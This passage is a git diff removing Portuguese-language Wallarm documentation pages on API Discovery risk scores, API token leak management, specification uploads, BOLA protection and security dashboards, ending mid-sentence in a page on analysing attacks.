risco](../api-discovery/overview.md#endpoint-risk-score) permite entender quais endpoints têm maior probabilidade de ser alvo de um ataque e, portanto, devem ser o foco de seus esforços de segurança. - -A pontuação de risco pode variar de `1` (menor) a `10` (maior): - -| Valor | Nível de Risco | Cor | -| --------- | ----------- | --------- | -| 1 a 3 | Baixo | Cinza | -| 4 a 7 | Médio | Laranja | -| 8 a 10 | Alto | Vermelho | - -* `1` significa que não há fatores de risco para este endpoint. -* A pontuação de risco não é exibida (`N/A`) para os endpoints não utilizados. -* Classifique por pontuação de risco na coluna **Risco**. -* Filtre por `Alto`, `Médio` ou `Baixo` usando o filtro **Pontuação de risco**. - -!!! info "Configurando cálculo de pontuação de risco" - Por padrão, o módulo Descoberta de API calcula automaticamente uma pontuação de risco para cada endpoint com base nos pesos dos fatores de risco comprovados. Para adaptar a estimativa de pontuação de risco à sua compreensão da importância dos fatores, você pode [configurar](#customizing-risk-score-calculation) o peso de cada fator e um método de cálculo de pontuação de risco. - -Para entender o que causou a pontuação de risco para o endpoint e como reduzir o risco, vá para os detalhes do endpoint: - -![API Discovery - Pontuação de risco](../images/about-wallarm-waf/api-discovery/api-discovery-risk-score.png) - -## Monitorando ataques em endpoints de API - -O número de ataques em endpoints de API nos últimos 7 dias é exibido na coluna **Hits**. - -Você pode: - -* Solicitar a exibição apenas de endpoints atacados selecionando em filtros: **Outros** → **Endpoints atacados**. -* Classificar pela coluna **Hits**. - -Para ver ataques a algum endpoint, clique no número na coluna **Hits**: - -![Endpoint de API - eventos abertos](../images/about-wallarm-waf/api-discovery/endpoint-open-events.png) - -A seção **Eventos** será exibida com o [filtro aplicado](../user-guides/search-and-filters/use-search.md): - -``` -attacks last 7 days endpoint_id: -``` - -Você também pode copiar a URL de algum endpoint para a área de transferência e usá-la para pesquisar os eventos. Para fazer isso, no menu desse endpoint, selecione **Copiar URL**. - -## Inventário de API e regras - -Você pode criar rapidamente uma nova [regra personalizada](../user-guides/rules/rules.md) a partir de qualquer endpoint do inventário de API: - -1. No menu deste endpoint, selecione **Criar regra**. A janela de criação de regra é exibida. O endereço do endpoint é analisado na janela automaticamente. -1. Na janela de criação de regra, especifique a informação da regra e, em seguida, clique em **Criar**. - -![Criar regra a partir do endpoint](../images/about-wallarm-waf/api-discovery/endpoint-create-rule.png) - -## Exibindo API sombra, órfã e zumbi - -O módulo **Descoberta de API** descobre automaticamente APIs desonestas (sombra, órfã e zumbi) comparando o trânsito registrado real com as [especificações fornecidas pelos clientes](../api-specification-enforcement/overview.md). Para exibir [APIs desonestas](../api-discovery/overview.md#shadow-orphan-and-zombie-apis) entre endpoints descobertos pelo Wallarm: - -* Use o filtro **Comparar com...** para selecionar comparações de especificações - apenas para elas as APIs desonestas serão destacadas pelas marcas especiais na coluna **Problemas**. - - ![Descoberta de API - destacando e filtrando API desonesta](../images/about-wallarm-waf/api-discovery/api-discovery-highlight-rogue.png) - -* Use o filtro **APIs desonestas** para ver apenas APIs sombra, órfãs e/ou zumbis relacionadas às comparações selecionadas e filtre os demais endpoints. - -O endpoint é definido como API sombra ou órfã como resultado da comparação do trânsito real com algumas especificações (pode haver várias). Eles serão listados nos detalhes do endpoint, na seção **Conflitos de especificação**. O endpoint é definido como zumbi como resultado da comparação das versões de especificação anteriores e atuais e do trânsito real. - -APIs sombra também são exibidas entre os endpoints de maior risco no [Painel de Descoberta de API](../user-guides/dashboards/api-discovery.md). - -## Baixar especificação OpenAPI (OAS) do seu inventário de API - -A interface de usuário da Descoberta de API oferece a opção de baixar a especificação [OpenAPI v3](https://spec.openapis.org/oas/v3.0.0) de um endpoint de API individual ou de toda a API descoberta pelo Wallarm. - -* O botão **Download OAS** na página do inventário de API retorna `swagger.json` para todo o inventário ou apenas os dados filtrados se algum filtro foi aplicado antes do download. - - Com os dados baixados, você pode identificar endpoints ausentes (API sombra) e endpoints não utilizados (API zumbi) em sua especificação em comparação com as descobertas do Wallarm. - - !!! warning "Informações do host da API no arquivo Swagger baixado" - Se um inventário de API descoberto contém vários hosts de API, os endpoints de todos os hosts da API serão incluídos no arquivo Swagger baixado. Atualmente, as informações do host da API não estão incluídas no arquivo. - -* O botão **Download OAS** no menu de um endpoint individual retorna `swagger.json` para o endpoint selecionado. - - Ao utilizar a especificação baixada com outras aplicações como o Postman, você pode conduzir testes de vulnerabilidade do endpoint e outros. Além disso, ele permite um exame mais detalhado das capacidades do endpoint para descobrir o processamento de dados sensíveis e a presença de parâmetros não documentados. - -## Proteção automática contra BOLA - -O Wallarm pode [descobrir e proteger automaticamente endpoints que são vulneráveis aos ataques BOLA](../admin-en/configuration-guides/protecting-against-bola.md#automatic-bola-protection-for-endpoints-discovered-by-api-discovery) entre os explorados pelo módulo **API Discovery**. Se a opção estiver ativada, os endpoints protegidos são destacados com o ícone correspondente no inventário de API, por exemplo: - -![Gatilho BOLA](../images/about-wallarm-waf/api-discovery/endpoints-protected-against-bola.png) - -Você pode filtrar os endpoints de API pelo estado de proteção automática contra BOLA. O parâmetro correspondente está disponível no filtro **Outros**. - -## Configurando Descoberta de API - -Ao clicar no botão **Configurar Descoberta de API** na seção **Descoberta de API**, você prossegue para as opções de ajuste da descoberta de API, como escolher aplicativos para a descoberta de API e personalizar o cálculo da pontuação de risco. - -### Escolhendo aplicativos para a Descoberta de API - -Se a assinatura [Descoberta de API](../api-discovery/overview.md) foi adquirida para a conta da sua empresa, você pode ativar/desativar a análise de tráfego com a Descoberta de API em Console Wallarm → **Descoberta de API** → **Configurar Descoberta de API**. - -Você pode ativar/desativar a Descoberta de API para todos os aplicativos ou apenas os selecionados. - -![Descoberta de API – Configurações](../images/about-wallarm-waf/api-discovery/api-discovery-settings.png) - -Quando você adiciona um novo aplicativo em **Configurações** → **[Aplicações](settings/applications.md)**, ele é automaticamente adicionado à lista de aplicativos para descoberta de API no estado **desativado**. - -### Personalizando cálculo de pontuação de risco - -Você pode configurar o peso de cada fator no cálculo da [pontuação de risco](../api-discovery/overview.md#endpoint-risk-score) e o método de cálculo. - -Padrões: - -* Método de cálculo: `Use o peso mais alto de todos os critérios como pontuação de risco do endpoint`. -* Pesos de fator padrão: - - | Fator | Peso | - | --- | --- | - | Vulnerabilidades ativas | 9 | - | Potencialmente vulnerável ao BOLA | 6 | - | Parâmetros com dados sensíveis | 8 | - | Número de parâmetros de consulta e corpo | 6 | - | Aceita objetos XML / JSON | 6 | - | Permite o carregamento de arquivos para o servidor | 6 | - -Para alterar como a pontuação de risco é calculada: - -1. Clique no botão **Configurar Descoberta de API** na seção **Descoberta de API**. -1. Selecione o método de cálculo: peso mais alto ou médio. -1. Se necessário, desative os fatores que você não deseja que afetem a pontuação de risco. -1. Defina o peso para os restantes. - - ![Configuração de Descoberta de API - Configuração de pontuação de risco](../images/about-wallarm-waf/api-discovery/api-discovery-risk-score-setup.png) -1. Salve as mudanças. O Wallarm recalcula a pontuação de risco para seus endpoints, de acordo com as novas configurações, em alguns minutos. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/api-leaks.md b/docs/latest-pt-BR/user-guides/api-leaks.md deleted file mode 100644 index 19d736d5ef..0000000000 --- a/docs/latest-pt-BR/user-guides/api-leaks.md +++ /dev/null @@ -1,48 +0,0 @@ -# Gerenciando vazamentos de API - -O módulo **API Leaks** verifica ativamente milhares de repositórios públicos e fontes em busca de vazamentos de tokens de API, e permite que você bloqueie qualquer token vazado para prevenir ataques ou outros danos ao seu portfólio de API. Este artigo proporciona informações sobre como gerenciar os vazamentos de API. - -Para um resumo básico das capacidades, por favor, consulte a visão geral do módulo **API Leaks** [aqui](../api-attack-surface/security-issues.md). - -## Acessando API Leaks - -No console Wallarm, use a seção **API Leaks** para trabalhar conforme descrito abaixo. - -* Para ativar o módulo **API Leaks**, por favor, envie uma solicitação para o [suporte técnico da Wallarm](mailto:support@wallarm.com). -* Apenas usuários com a função de **Administrador** ou **Administrador Global** [aqui](../user-guides/settings/users.md#user-roles) podem acessar esta seção e gerenciar vazamentos. -* Usuários com a função de **Analista** ou **Analista Global** podem acessar esta seção, mas não podem gerenciar vazamentos. - -## Novos vazamentos de API - -Existem duas maneiras de registrar novos vazamentos: - -* Automático - Wallarm verifica ativamente milhares de repositórios públicos e fontes e adiciona novos vazamentos à lista. Organize por **Status** e veja vazamentos `Abertos` - eles requerem sua atenção. -* Manual - adicione vazamentos de API manualmente. Cada um representa um conjunto de tokens vazados. - -![API Leaks - Adicionando Manualmente](../images/api-attack-surface/api-leaks-add-manually.png) - -## Visualização interativa - -A seção **API Leaks** fornece uma rica representação visual para a sua situação atual com relação aos vazamentos de API encontrados. Use os gráficos para analisar rapidamente a situação atual com os vazamentos encontrados, clique nos elementos do diagrama para filtrar vazamentos por níveis de risco e fontes. - -![API Leaks - Visualização](../images/api-attack-surface/api-leaks-visual.png) - -## Tomando decisões - -Independentemente de como o vazamento de API foi adicionado - automaticamente ou manualmente - a decisão sobre o que fazer é sempre sua. Você pode gerenciar essas decisões da seguinte maneira: - -* Aplique um patch virtual para bloquear todas as tentativas de uso de tokens vazados. - - Uma [regra de patch virtual](../user-guides/rules/vpatch-rule.md) será criada. - -* Marque o vazamento como falso se você achar que foi adicionado por engano. -* Feche vazamentos para interromper a proteção assim que todos os tokens vazados forem regenerados ou removidos. Isso removerá a regra de patch virtual. -* Mesmo que um vazamento seja fechado, ele não é excluído. Reabra e então aplique a remediação para iniciar a proteção novamente. - -## Tentativas de uso de tokens vazados - -No Console Wallarm → **Eventos**, ajuste o filtro **Tipo** para `Patch virtual` (`vpatch`) para ver todas as tentativas de uso de tokens vazados. - -![Eventos - Vazamentos de API via vpatch](../images/api-attack-surface/api-leaks-in-events.png) - -Por enquanto, você só pode rastrear as tentativas de uso de tokens vazados se o `vpatch` for aplicado. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/api-specifications.md b/docs/latest-pt-BR/user-guides/api-specifications.md deleted file mode 100644 index 42d37ca7c5..0000000000 --- a/docs/latest-pt-BR/user-guides/api-specifications.md +++ /dev/null @@ -1,36 +0,0 @@ -# Fazendo upload de suas especificações de API - -Na seção **Especificações da API** da Wallarm Console UI, você pode manter suas especificações de API que a Wallarm usa para descobrir as APIs irregulares (sombra, órfã e zumbi). Este artigo fornece informações sobre como usar esta seção. - -**Administradores** e **Administradores globais** podem adicionar, remover e baixar especificações e alterar as configurações de detecção de APIs irregulares. Os usuários de outros [papéis](../user-guides/settings/users.md#user-roles) só podem visualizar a lista de especificações carregadas. - -## Revelando API sombra, órfã e zumbi - -Com o [**API Discovery**](../api-discovery/overview.md) em uso, suas especificações de API carregadas na seção **Especificações da API** podem ser comparadas com o que foi automaticamente detectado pelo API Discovery. Como resultado dessa comparação, a Wallarm [encontra e mostra APIs irregulares (sombra, órfã e zumbi)](../api-discovery/overview.md#shadow-orphan-and-zombie-apis). - -Para executar a comparação: - -1. Navegue até a seção **Especificações da API** e clique em **Fazer upload de especificação**. -1. Selecione uma especificação para fazer upload. Ela deve estar no formato OpenAPI 3.0 JSON ou YAML. -1. Defina os parâmetros de comparação: - - * Aplicativo(s) e host(s) - apenas os endpoints relacionados às aplicações/hosts selecionados serão comparados. Se você selecionar **Comparar com todos os hosts de aplicativos descobertos atuais e futuros**, todos os hosts (dos aplicativos selecionados) conhecidos agora e todos os hosts que serão descobertos no futuro serão incluídos na comparação. - - Você pode alterar as configurações de comparação a qualquer momento depois - após isso a comparação será refeita fornecendo novos resultados. - - * De onde fazer o upload: sua máquina local ou URL. Para URLs, por meio dos campos de cabeçalho, você pode especificar um token para autenticação. - * Se a comparação deve ser realizada uma vez após o upload da especificação ou a cada hora (a opção **Realizar comparação regular** é selecionada por padrão). A comparação por hora permite encontrar APIs irregulares adicionais à medida que o API Discovery descobre mais endpoints. A especificação carregada da URL é atualizada antes de cada comparação. - - ![API Discovery - Especificações da API - fazendo upload da especificação da API para encontrar APIs irregulares](../images/about-wallarm-waf/api-discovery/api-discovery-specification-upload.png) - - Saiba que você pode reiniciar a comparação a qualquer momento manualmente por meio do menu de especificação → **Reiniciar comparação**. - -1. Inicie o upload. - - Quando o upload for concluído, o número de APIs irregulares (sombra, órfã e zumbi) será exibido para cada especificação na lista de **Especificações da API**. As APIs irregulares também serão [exibidas](api-discovery.md#displaying-shadow-orphan-and-zombie-api) na seção **API Discovery**. - - ![Seção Especificações da API](../images/about-wallarm-waf/api-discovery/api-discovery-specifications.png) - -## Baixar especificações previamente carregadas - -Você pode baixar a especificação previamente carregada via **Especificações da API** → janela de detalhes da especificação → **Baixar especificação**. diff --git a/docs/latest-pt-BR/user-guides/bola-protection.md b/docs/latest-pt-BR/user-guides/bola-protection.md deleted file mode 100644 index 216cf6370a..0000000000 --- a/docs/latest-pt-BR/user-guides/bola-protection.md +++ /dev/null @@ -1,49 +0,0 @@ -[variability-in-endpoints-docs]: ../api-discovery/overview.md#variability-in-endpoints -[changes-in-api-docs]: ../api-discovery/track-changes.md -[bola-protection-for-endpoints-docs]: ../api-discovery/overview.md#automatic-bola-protection - -# Proteção BOLA - -A seção **Proteção BOLA** da Wallarm Console UI permite configurar a mitigação de [ataques BOLA (IDOR)](../attacks-vulns-list.md#broken-object-level-authorization-bola) direcionados aos endpoints da API explorados pelo módulo **API Discovery**. - -Essa seção está disponível nas seguintes condições: - -* O módulo [API Discovery](../api-discovery/overview.md) está habilitado -* A [função](settings/users.md#user-roles) do usuário é **Administrador** ou **Administrador Global** - - A seção também está disponível em modo somente leitura para **Analistas** e **Analistas Globais**. - -!!! info "Variações da mitigação BOLA" - - A mitigação BOLA está disponível nas seguintes variações: - - * Mitigação automatizada para os endpoints explorados pelo módulo **API Discovery** (a UI para configuração é abordada neste artigo) - * Mitigação para quaisquer endpoints protegidos pelos nós Wallarm - essa opção é configurada manualmente através do disparador correspondente - - Encontre mais detalhes nas [instruções gerais sobre proteção BOLA (IDOR)](../admin-en/configuration-guides/protecting-against-bola.md). - -## Configurando a proteção BOLA automatizada - -Para a Wallarm analisar os endpoints explorados pelo módulo API Discovery quanto a vulnerabilidades BOLA e proteger aqueles que estão em risco, **mude a chave para o estado habilitado**. - -![Disparador BOLA](../images/user-guides/bola-protection/trigger-enabled-state.png) - -Depois, você pode ajustar o comportamento padrão do Wallarm editando o modelo de autodetecção BOLA da seguinte maneira: - -* Altere o limite para as solicitações do mesmo IP serem marcadas como ataques BOLA. -* Altere a reação ao exceder o limite: - - * **Denylist IP** - Wallarm vai [bloquear](ip-lists/denylist.md) os IPs da fonte do ataque BOLA e assim bloquear todo o tráfego que esses IPs produzem. - * **Graylist IP** - Wallarm vai [incluir na lista cinza](ip-lists/graylist.md) os IPs da fonte do ataque BOLA e assim bloquear apenas solicitações mal-intencionadas desses IPs e somente se o nó de filtragem estiver no [modo](../admin-en/configure-wallarm-mode.md) de bloqueio seguro. - -![Disparador BOLA](../images/user-guides/bola-protection/trigger-template.png) - -## Lógica de proteção BOLA automatizada - ---8<-- "../include-pt-BR/waf/features/bola-mitigation/bola-auto-mitigation-logic.md" - -## Desativando a proteção BOLA automatizada - -Para desativar a proteção BOLA automatizada, mude a chave para o estado desativado na seção **Proteção BOLA**. - -Quando a sua assinatura API Discovery expira, a proteção BOLA automatizada é desativada automaticamente. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/dashboards/api-discovery.md b/docs/latest-pt-BR/user-guides/dashboards/api-discovery.md deleted file mode 100644 index 536aa94654..0000000000 --- a/docs/latest-pt-BR/user-guides/dashboards/api-discovery.md +++ /dev/null @@ -1,19 +0,0 @@ -# Painel de Descoberta API - -O painel de **Descoberta API** da Wallarm resume dados sobre sua API coletados pelo módulo [Descoberta API](../../api-discovery/overview.md). Ele fornece uma visão abrangente do inventário da sua API com base nas métricas: - -* Número de terminais por nível de risco -* Os terminais [mais arriscados](../../api-discovery/overview.md#endpoint-risk-score) entre todo o inventário de API e entre os terminais recém-descobertos nos últimos 7 dias - - Os terminais mais arriscados são os mais propensos a serem um alvo de ataque devido a vulnerabilidades ativas, terminais sendo [novos](../../api-discovery/overview.md#tracking-changes-in-api) ou [ocultos](../../api-discovery/overview.md#shadow-orphan-and-zombie-apis), e outros fatores de risco. Cada terminal arriscado é fornecido com o número de acertos direcionados. - -* Mudanças na sua API nos últimos 7 dias por tipo (APIs novas, alteradas, não usadas) -* Número total de terminais descobertos e quantos deles são externos e internos -* Dados sensíveis na API por grupos (pessoal, financeiro, etc.) e por tipos -* Inventário da API: número de terminais pelo host da API e pelo aplicativo - -![Widget de Descoberta API](../../images/user-guides/dashboard/api-discovery-widget.png) - -O painel pode revelar anomalias, como terminais frequentemente usados arriscados ou alto volume de dados sensíveis que a sua API transfere. Além disso, ele chama a atenção para as mudanças na API que você sempre precisa verificar para excluir riscos de segurança. Isso ajuda a implementar controles de segurança para evitar que terminais sejam alvos de ataques. - -Clique nos elementos do widget para ir à seção **Descoberta API** e visualizar os dados filtrados. Se clicar no número de hits, você será direcionado para a [lista de eventos](../events/check-attack.md) com os dados de ataque dos últimos 7 dias. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/dashboards/bi-dashboards.md b/docs/latest-pt-BR/user-guides/dashboards/bi-dashboards.md deleted file mode 100644 index 5fbebdd88c..0000000000 --- a/docs/latest-pt-BR/user-guides/dashboards/bi-dashboards.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/user-guides/dashboards/bi-dashboards.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/dashboards/owasp-api-top-ten.md b/docs/latest-pt-BR/user-guides/dashboards/owasp-api-top-ten.md deleted file mode 100644 index 35303498b9..0000000000 --- a/docs/latest-pt-BR/user-guides/dashboards/owasp-api-top-ten.md +++ /dev/null @@ -1,38 +0,0 @@ -# Painéis do OWASP API Security Top 10 - -O [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) é o padrão ouro para a avaliação do risco de segurança em APIs. Para ajudá-lo a medir a postura de segurança da sua API contra essas ameaças de API, a Wallarm oferece os painéis que fornecem visibilidade clara e métricas para a mitigação de ameaças. - -Os painéis cobrem os riscos do OWASP API Security Top 10 das versões de [2019](https://owasp.org/API-Security/editions/2019/en/0x00-header/) e [2023](https://owasp.org/API-Security/editions/2023/en/0x00-header/). - -Ao usar esses painéis, você pode avaliar o estado geral de segurança e abordar proativamente os problemas de segurança descobertos configurando controles de segurança apropriados. - -![OWASP API Top 10 2023](../../images/user-guides/dashboard/owasp-api-top-ten-2023-dash.png) - -## Avaliação de ameaças - -A Wallarm estima o risco para cada ameaça de API com base nos **controles de segurança** aplicados e vulnerabilidades descobertas: - -* **Vermelho** - ocorre se não houver controles de segurança aplicados ou se suas APIs tiverem vulnerabilidades ativas de alto risco. -* **Amarelo** - ocorre se os controles de segurança forem aplicados apenas parcialmente ou se suas APIs tiverem vulnerabilidades ativas de risco médio ou baixo. -* **Verde** indica que suas APIs estão protegidas e não têm vulnerabilidades abertas. - -Para cada ameaça do OWASP API Top 10, você pode encontrar informações detalhadas sobre a ameaça, controles de segurança disponíveis, vulnerabilidades correspondentes e investigar ataques relacionados: - -![OWASP API Top 10](../../images/user-guides/dashboard/owasp-api-top-ten-2023-dash-details.png) - -## Controles de segurança da Wallarm para OWASP API 2023 - -A plataforma de segurança da Wallarm fornece proteção completa contra o OWASP API Security Top 10 2023 pelos seguintes controles de segurança: - -| Ameaças do OWASP API Top 10 2023 | Controles de Segurança da Wallarm | -| ----------------------- | ------------------------ | -| [API1:2023 Autorização de Nível de Objeto Quebrada](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md) |
            • [Mitigação automática de BOLA](../../admin-en/configuration-guides/protecting-against-bola.md#automatic-bola-protection-for-endpoints-discovered-by-api-discovery) para criar gatilhos automaticamente para proteger endpoints vulneráveis
            | -| [API2:2023 Autenticação Quebrada](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md) |
            • [Scanner de Vulnerabilidade](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) para descobrir vulnerabilidades ativas do tipo correspondente
            • [Gatilho de força bruta](../../admin-en/configuration-guides/protecting-against-bruteforce.md) para mitigar ataques de força bruta direcionados a endpoints de autenticação
            • [Detecção de JWT Fraco](../triggers/trigger-examples.md#detect-weak-jwts) gatilho para descobrir vulnerabilidades de autenticação fracas com base em solicitações com JWTs fracos
            | -| [API3:2023 Autorização de Nível de Propriedade de Objeto Quebrada](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa3-broken-object-property-level-authorization.md) |
            • [Scanner de Vulnerabilidade](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) para descobrir vulnerabilidades ativas do tipo correspondente
            | -| [API4:2023 Consumo Irrestrito de Recursos](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md) |
            • [Gatilho de força bruta](../../admin-en/configuration-guides/protecting-against-bruteforce.md) para mitigar ataques de força bruta que geralmente levam a DoS (Denial of Service), tornando a API irresponsiva ou até indisponível
            | -| [API5:2023 Autorização de Nível de Função Quebrada](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa5-broken-function-level-authorization.md) |
            • [Scanner de Vulnerabilidade](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) para descobrir vulnerabilidades ativas do tipo correspondente
            • [Gatilho de navegação forçada](../../admin-en/configuration-guides/protecting-against-bruteforce.md) para mitigar tentativas de navegação forçada que também são uma maneira de exploração dessa ameaça
            | -| [API6:2023 Acesso Irrestrito a Fluxos de Negócios Sensíveis](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md) |
            • [Prevenção de abuso de API](../../api-abuse-prevention/overview.md) para mitigar ações de bots maliciosos
            | -| [API7:2023 Falsificação de Solicitação do Lado do Servidor](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa7-server-side-request-forgery.md) |
            • [Scanner de Vulnerabilidade](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) para descobrir vulnerabilidades ativas do tipo correspondente
            | -| [API8:2023 Má Configuração de Segurança](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa8-security-misconfiguration.md) |
            • [Scanner de Vulnerabilidade](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) para descobrir vulnerabilidades ativas do tipo correspondente
            • Autoverificações do nó Wallarm para manter as versões do nó e as políticas de segurança atualizadas (veja [como resolver os problemas](../../faq/node-issues-on-owasp-dashboards.md))
            | -| [API9:2023 Gerenciamento Improper de Inventário](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa9-improper-inventory-management.md) |
            • [Descoberta de API](../../api-discovery/overview.md) para descobrir automaticamente o registro atual da API com base no tráfego real
            | -| [API10:2023 Consumo Inseguro de APIs](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xaa-unsafe-consumption-of-apis.md) |
            • [Scanner de Vulnerabilidade](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) para descobrir vulnerabilidades ativas do tipo correspondente
            | diff --git a/docs/latest-pt-BR/user-guides/dashboards/threat-prevention.md b/docs/latest-pt-BR/user-guides/dashboards/threat-prevention.md deleted file mode 100644 index c98981e105..0000000000 --- a/docs/latest-pt-BR/user-guides/dashboards/threat-prevention.md +++ /dev/null @@ -1,128 +0,0 @@ -# Painel de Prevenção de Ameaças - -O Wallarm coleta automaticamente métricas do tráfego processado e as representa na seção **Painéis → Prevenção de Ameaças** do Console Wallarm. O painel permite que qualquer usuário analise as tendências de tráfego malicioso e legítimo e obtenha o status de vulnerabilidade do aplicativo por um período de tempo. - -As métricas são apresentadas nos seguintes widgets: - -* Estatísticas para o mês atual e a velocidade de encontro dos pedidos -* Tráfego normal e malicioso -* Tipos de ataque -* Protocolos de API -* Fontes de ataque -* Alvos de ataque -* Scanner de Vulnerabilidade - -Você pode filtrar os dados do widget por [aplicações](../settings/applications.md) e período de tempo. Por padrão, os widgets representam estatísticas em todas as aplicações do último mês. - -Qualquer widget permite abrir a [lista de eventos](../events/check-attack.md) em que as estatísticas foram coletadas. - -!!! info "Começando com o Wallarm" - Se você registrou a conta Wallarm no [Cloud](../../about-wallarm/overview.md#cloud) dos EUA, você poderá explorar os principais recursos do Wallarm na **Zona de testes** com acesso somente leitura às seções do Console Wallarm. Use-o para experimentar os principais recursos da plataforma Wallarm sem ter que implantar nenhum componente em seu ambiente. - - A seção Painel também inclui o botão **Começar** para novos usuários. Quando você clica no botão, você receberá uma lista de opções de descoberta de produtos úteis com o seguinte entre eles: - - * A opção **Tour de integração** fornecerá opções de implantação suportadas pela Wallarm e links para instruções de implantação relevantes. - * A opção **Zona de testes da Wallarm** o direcionará para a zona de testes do Console Wallarm com acesso somente leitura às suas seções. Esta opção está disponível apenas para usuários do Cloud nos EUA. - -## Estatísticas para o mês atual e a velocidade de encontro dos pedidos - -O widget exibe os seguintes dados: - -* A cota mensal de solicitação especificada no [plano de assinatura](../../about-wallarm/subscription-plans.md) -* O número de [acertos](../../about-wallarm/protecting-against-attacks.md#hit) detectados e [bloqueados](../../admin-en/configure-wallarm-mode.md) durante o mês atual -* A velocidade em tempo real com que as solicitações e acertos são encontrados - -![Estatísticas do mês atual](../../images/user-guides/dashboard/current-month-stats.png) - -## Tráfego normal e malicioso por um período - -O widget exibe as estatísticas resumidas para o tráfego processado durante o período selecionado: - -* O gráfico representa a distribuição de dados ao longo do tempo, permitindo que você rastreie os períodos de atividade mais ativa -* O número total de solicitações processadas, [acertos](../../glossary-en.md#hit) e [incidentes](../../glossary-en.md#security-incident), e o número de acertos bloqueados -* Tendências: mudança no número de eventos para um período selecionado e o mesmo período anterior - -![Tráfego normal e malicioso](../../images/user-guides/dashboard/traffic-stats.png) - -## Tipos de ataque - -Este widget exibe os [principais tipos de ataques detectados](../../attacks-vulns-list.md) que ajudam a analisar os padrões de tráfego malicioso e o comportamento do agressor. - -Usando esses dados, você pode analisar a vulnerabilidade de seus serviços a diferentes tipos de ataque e tomar medidas apropriadas para melhorar a segurança do serviço. - -![Tipos de ataque](../../images/user-guides/dashboard/attack-types.png) - -## Protocolos de API - -Este widget exibe estatísticas sobre os protocolos da API usados pelos invasores. O Wallarm pode identificar os seguintes protocolos de API: - -* GraphQL -* gRPC -* WebSocket -* API REST -* SOAP -* XML-RPC -* JSON-RPC -* WebDAV - -Usando o widget, você pode analisar solicitações maliciosas enviadas por meio de certos protocolos e avaliar a vulnerabilidade de seu sistema a tais solicitações. - -![Protocolos de API](../../images/user-guides/dashboard/api-protocols.png) - -## CVEs - -O widget **CVEs** exibe o topo das vulnerabilidades CVE que os invasores exploraram durante o período de tempo selecionado. Alterando o tipo de classificação, você pode estar ciente dos CVEs mais recentes e pode rastrear os CVEs mais atacados. - -Cada CVE é acompanhado pelos detalhes, como pontuação CVSS v3.0, complexidade de ataque, privilégios necessários e outros recebidos do [banco de dados de vulnerabilidades](https://vulners.com/). As vulnerabilidades registradas antes de 2015 não são fornecidas com a pontuação CVSS v3.0. - -![CVE](../../images/user-guides/dashboard/cves.png) - -Você pode revisar seu sistema em busca de vulnerabilidades destacadas e, se encontradas, implementar as recomendações de remediação apropriadas para eliminar o risco de exploração da vulnerabilidade. - -## Autenticação - -Este widget exibe os métodos de autenticação que os agressores usaram durante o período de tempo especificado, por exemplo: - -* Chave de API -* Autenticação básica -* Token de portador -* Autenticação de cookie, etc. - -![Auth](../../images/user-guides/dashboard/authentication.png) - -Essas informações permitem que você identifique métodos de autenticação fracos e, em seguida, tome medidas preventivas. - -## Fontes de ataque - -Este widget exibe as estatísticas sobre os grupos de fontes de ataque: - -* Localizações -* Tipos, por exemplo, Tor, Proxy, VPN, AWS, GCP, etc. - -Esses dados podem ajudar a definir fontes de ataque abusivas e permitir o bloqueio de solicitações originadas delas usando as [listas cinzas ou negras de endereços IP](../ip-lists/overview.md). - -Você pode ver dados de cada grupo de fontes em abas separadas. - -![Fontes de ataque](../../images/user-guides/dashboard/attack-sources.png) - -## Alvos de ataque - -Este widget exibe domínios e [aplicações](../settings/applications.md) sendo atacados com mais frequência. As seguintes métricas são exibidas para cada objeto: - -* O número de incidentes detectados -* O número de acertos detectados -* Tendências: mudança no número de acertos para um período selecionado e para o mesmo período anterior. Por exemplo: se você verificar as estatísticas do último mês, a tendência exibirá a diferença no número de acertos entre os últimos e os meses anteriores como uma porcentagem - -Você pode ver os dados sobre domínios e aplicações em abas separadas. - -![Alvos de ataque](../../images/user-guides/dashboard/attack-targets.png) - -## Scanner de Vulnerabilidades - -O widget Scanner mostra estatísticas sobre vulnerabilidades detectadas em [ativos públicos](../scanner.md): - -* O número de vulnerabilidades de todos os níveis de risco detectados ao longo do período selecionado -* O número de vulnerabilidades ativas de todos os níveis de risco no final do período selecionado -* Mudanças no número de vulnerabilidades de todos os níveis de risco para o período selecionado - -![Widget Scanner](../../images/user-guides/dashboard/dashboard-scanner.png) \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/events/analyze-attack.md b/docs/latest-pt-BR/user-guides/events/analyze-attack.md deleted file mode 100644 index dfc9627603..0000000000 --- a/docs/latest-pt-BR/user-guides/events/analyze-attack.md +++ /dev/null @@ -1,164 +0,0 @@ -[link-check-attack]: check-attack.md -[link-false-attack]: false-attack.md - -[img-analyze-attack]: ../../images/user-guides/events/analyze-attack.png -[img-analyze-attack-raw]: ../../images/user-guides/events/analyze-attack-raw.png -[img-current-attack]: ../../images/user-guides/events/analyze-current-attack.png - -[glossary-attack-vector]: ../../glossary-en.md#malicious-payload - -# Analisando Ataques - -Você pode verificar ataques na seção **Eventos** do Console Wallarm. A Wallarm agrupa automaticamente solicitações maliciosas associadas em uma entidade - um ataque. - -## Analise um Ataque - -Você pode obter informações sobre um ataque 